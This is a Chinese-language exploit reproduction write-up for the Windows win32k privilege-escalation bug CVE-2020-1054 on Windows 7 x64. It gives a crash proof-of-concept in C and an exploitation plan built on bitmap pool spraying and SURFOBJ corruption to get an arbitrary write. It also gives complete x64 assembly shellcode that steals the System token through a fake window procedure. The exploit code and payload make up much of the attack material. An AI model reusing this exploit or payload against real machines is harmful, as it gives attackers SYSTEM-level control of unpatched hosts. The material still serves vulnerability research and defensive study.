CVE-2020-1054


CVE-2020-1054

測試環境

Win7 x64 SP1

前言

此次漏洞復現是對《CVE-2020-1054 Analysis》這篇文章的理解與實踐,由於這篇文章對整個利用過程闡述的非常詳細,因此本次分析報告主要記錄一下在復現時遇到的一些問題。

具體分析

  1. 通過運行POC,在windbg中斷下,可以發現漏洞點在win32k!vStrWrite01,在NT4中發現有這個函數的源碼,可以輔助我們分析理解。
int main(int argc, char *argv[])
{
    LoadLibrary("user32.dll");
    HDC r0 = CreateCompatibleDC(0x0);
    // CPR's original crash code called CreateCompatibleBitmap as follows
    // HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
    // however all following calculations/reversing in this blog will 
    // generally use the below call, unless stated otherwise
    // this only matters if you happen to be following along with WinDbg
    HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
    SelectObject(r0, r1);
    DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc, 
        0x0, 0x0, 0x6);

    return 0;
}

  1. 根據上圖漏洞點,可以看到訪問異常發生在讀取pjDraw處,從下圖源碼可以知道pjDraw肯定是指向SURFOBJ->pvScan0區域的,這個函數就是對這塊像素數據進行某種填充,而這個訪問異常地址明顯超出了這個SURFOBJ對象的像素區,因此這是一個OOB類型的漏洞。

  1. 現在的重點是如何精准控制這個pjDraw的值,在IDA中觀察可以發現在這個while循環中,pjDraw每次增加SURFOBJ->Delta大小,而SURFOBJ->Delta又是由CreateCompatibleBitmap的第二個參數cx控制,根據文章中描述可知lDelta = cx / 0x8
  2. 從上圖可知在while循環中對pjDraw讀取寫入的次數由win32k!vStrWrite01的前兩個參數控制,當pxrl != pxrlEnd時循環就會繼續,通過動態調試可以發現,循環次數是由DrawIconEx的第三個參數控制。

  1. 有了以上基礎后,我們來看一下《CVE-2020-1054 Analysis》文章中的利用思路,
1. Allocate a base bitmap (fffff900'c700000).
2. Allocate enough SURFOBJs (via calls to CreateCompatibleBitmap) such that 
  one is allocted at fffff901'c7000000.
2.1. A second is allocated directly after the first.
2.2. A third is allocated directly after the second.
2. Calculate loop_iterations*lDelta such that it is equal to fffff901'c7000240.
3. Use OOB write to overwrite width or height of second SURFOBJ's sizlBitmap.
4. Use SetBitMapBits with second SURFOBJ to overwrite pvScan01 of third SURFOBJ.
5. Arbitrary reusable write is now obtained.
6. Typical EoP overwrite process token privileges and inject into winlogon.exe.

因此我們需要選擇合適大小的BitMap進行噴射,讓其中一個對象位於fffff901'c7000000,作者提供的代碼中是通過CreateCompatibleBitmap(allocate, 0x6f000, 0x08)進行的噴射,我們進行一下簡單的計算:

  • cjTotal = (((cx * cPlanes * cBits) + 15) >> 4) << 1) * cy = 0x6f000
  • pool_bitmap_size = PAGE_ALIGN (cjTotal + sizeof(surfobj_header) + sizeof(pool_header)) = 0x70000

通過測試選擇大小為0x7000BitMap對象進行噴射可以成功申請到fffff901'c7000000地址

現在需要解決的最后一步就是找到特定的DrawIconExarg1 arg2,來使得pjDraw的位置剛好等於surfobj->sizlBitmap的位置,從而修改位圖的大小,使得可以通過GetBitmapBits/SetBitmapBits進行越界讀寫,由於我們已經在上面解釋過DrawIconEx arg1 arg2 和漏洞函數的關系,因此可以很容易的理解下面這段python腳本(腳本來自《CVE-2020-1054 Analysis》)

至此我們已經確定了如何填寫DrawIconEx的參數來越界修改BitMap對象的大小,提權方式則是采用替換tagWND.bServerSideWindowProc = 1窗口的窗口過程函數。

public WndProc_fake
extern DefWindowProcW:proc 
.code

WndProc_fake proc hwnd:dword, msg:dword, wParam:dword, lParam:dword
    mov ax,cs
    cmp ax,10h
    jnz return
    pushfq
	push rax
	push rdx
	push rbx
	mov rax, gs:[188h]    ;CurrentThread
	mov rax, [rax + 210h] ;Process  
	lea rdx, [rax + 208h] ;MyProcess.Token
noFind :
	mov rax, [rax + 188h] ;Eprocess.ActiveProcessLinks
	sub rax, 188h         ;next Eprocess struct
	mov rbx, [rax + 180h] ;PID
	cmp rbx, 4
	jnz noFind
	mov rax, [rax + 208h] ;System.Token
	mov [rdx], rax
	pop rbx
	pop rdx
	pop rax
	popfq
return:
    mov ecx,hwnd
    mov edx,msg
    mov r8d,wParam
    mov r9d,lParam
    sub rsp,20h
    call DefWindowProcW
    add rsp,20h
    ret

WndProc_fake endp

end

效果演示

參考

https://0xeb-bp.github.io/blog/2020/06/15/cve-2020-1054-analysis.html》


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM